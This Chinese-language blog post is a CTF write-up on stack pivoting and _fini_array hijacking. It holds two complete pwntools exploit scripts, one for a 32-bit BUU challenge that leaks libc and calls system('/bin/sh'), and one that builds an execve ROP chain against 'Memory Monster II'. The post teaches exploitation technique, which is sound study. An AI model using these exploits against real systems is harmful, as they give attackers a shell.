昨天某师傅问到了栈迁移,由于舍友非要拉👴去通宵,今天睡到下午六点才醒,特此来总结下

栈迁移其实不太难,本博文主要来总结下栈迁移的妙用:劫持_fini_array

栈迁移

我们先来总结下栈迁移
什么是栈迁移呢?顾名思义就是把栈迁移到了另外一个地方。
那么我们什么时候需要栈迁移呢?

设想这样一个情景,我们可以溢出两个字长的空间,一个字长用来覆盖old bp寄存器的值,一个用来改写ret返回地址,但是程序没有后门,我们无法利用一个字长来ret2libc,这个时候如果我们能够在一个地址段(比如bss段之类的地方)能够写入大量字节,那么我们便可以ret2libc来拿到shell,所以我们只需要在某个地址段布置好ROP链,然后利用两次 leave ret 来控制程序的执行流程

一个32位的例题

buu的一道题目,[Black Watch 入群题]PWN
漏洞函数:

我们能够在bss段写入0x200个字节同时能够溢出8字节的数据
利用前文分析的手法,不难写出exp

from pwn import *
from LibcSearcher import *

binary = './spwn'

#libc = ELF('./libc.so.6')

local = 0
if local == 1:
    p = process(binary)
else:
    p = remote('node3.buuoj.cn',25304)

elf = ELF(binary)

def dbg():
	context.log_level = 'debug'

#dbg()

write_plt = elf.plt['write']
main_addr = elf.sym['main']
read_got = elf.got['read']
pop_ebp = 0

payload = p32(pop_ebp) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(0x4)	# mov esp,ebp;   pop ebp;   pop eip;
p.sendafter('What is your name?',payload)

payload = 0x18 * 'a' + p32(0x0804A300) + p32(0x08048511)
p.sendafter('What do you want to say?',payload)

read_addr = u32(p.recv(4))
print hex(read_addr)

libc = LibcSearcher('read',read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload = p32(pop_ebp) + p32(system_addr) + p32(system_addr) + p32(binsh_addr)
p.sendafter('What is your name?',payload)

payload = 0x18 * 'a' + p32(0x0804A300) + p32(0x08048511) 	#addr:level
p.sendafter('What do you want to say?',payload)

p.interactive()

劫持_fini_array

原理在这个地方:https://bbs.pediy.com/thread-259298.htm
我们直接看例题,原理很简单,我们通过例题来详细说明一下如何利用栈迁移来劫持_fini_array

Memory Monster II

静态编译的题目,有canary
我们通过alt+t来定位到start函数

start函数的r8寄存器存了__libc_csu_fini函数,rdi寄存器存了main函数地址,我们跟进去

有任意地址写0x18字节的漏洞

我们可以劫持_fini_array[0]为__libc_csu_fini函数,_fini_array[1]为main函数,只要我们不改写_fini_array[0],我们就能拥有任意地址无限字节写入的能力
思路如下:
1,改写_fini_array,获得无限字节写入的能力
2,在_fini_array + 0x10的位置布置rop链
3,改写_fini_array[0]为leave ret,_fini_array[1]为ret,从而进行栈迁移
至于2,3步为什么呢?下面我们绘图来仔细说明一下
首先第三步,我们为什么能够进行栈迁移呢,因为在__libc_csu_fini里面有一个lea指令可以改变rbp的值为_fini_array[0]的值

详细流程如下:

只要第三步理解了,第二步和第一步都特别简单,通过调用syscall就能拿shell

直接看exp吧;

from pwn import *

p = process('./main')


def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']


__libc_csu_fini = 0x402CB0
_fini_array_0 = 0x4B80B0
_fini_array_1 = 0x4B80B8
target = _fini_array_0 + 0x10
main = 0x401C1D

print "================ gadget ================="

pop_rax_ret = 0x0000000000448fcc 		#	 pop rax ; ret
pop_rdi_ret = 0x0000000000401746 		#	 pop rdi ; ret
pop_rsi_ret = 0x0000000000406f80 		#	 pop rsi ; ret
pop_rdx_ret = 0x0000000000448415 		#	 pop rdx ; ret

syscall = 0x0000000000402514 			# 	 syscall
binsh_addr = 0x0000000000492895 		#	 /bin/sh

leave_ret = 0x0000000000401cf3 			#	 leave ; ret
ret = 0x0000000000401016 				#	 ret

pop_rdx_rsi_ret = 0x000000000044baf9 	#	pop rdx ; pop rsi ; ret

print "================ gadget ================="

def change_memory(addr,data):
	p.recvuntil('addr:')
	p.sendline(addr)
	p.recvuntil('data:')
	p.send(data)

print "============= step 1: Get the ability to write infinite address ========"

addr = p64(_fini_array_0)
payload1 = p64(__libc_csu_fini) + p64(main)		
change_memory(addr,payload1)

print "=========== step 2: Design ROP chain =========="

addr = p64(target)
payload2 = p64(pop_rax_ret) + p64(59) 	
change_memory(addr,payload2)

addr = p64(target + 0x10)
payload3 = p64(pop_rdi_ret) + p64(binsh_addr)							
change_memory(addr,payload3)

addr = p64(target + 0x20)
payload4 = p64(pop_rsi_ret) + p64(0) 		
change_memory(addr,payload4)

addr = p64(target + 0x30)
payload5 = p64(pop_rdx_ret)	+ p64(0)	
change_memory(addr,payload5)

addr = p64(target + 0x40)
payload6 = p64(syscall) 					
change_memory(addr,payload6)

print "======== step 3: Stack migration to the rop chain ======="

addr = p64(_fini_array_0)
payload7 = p64(leave_ret) + p64(ret)							
change_memory(addr,payload7)

p.interactive()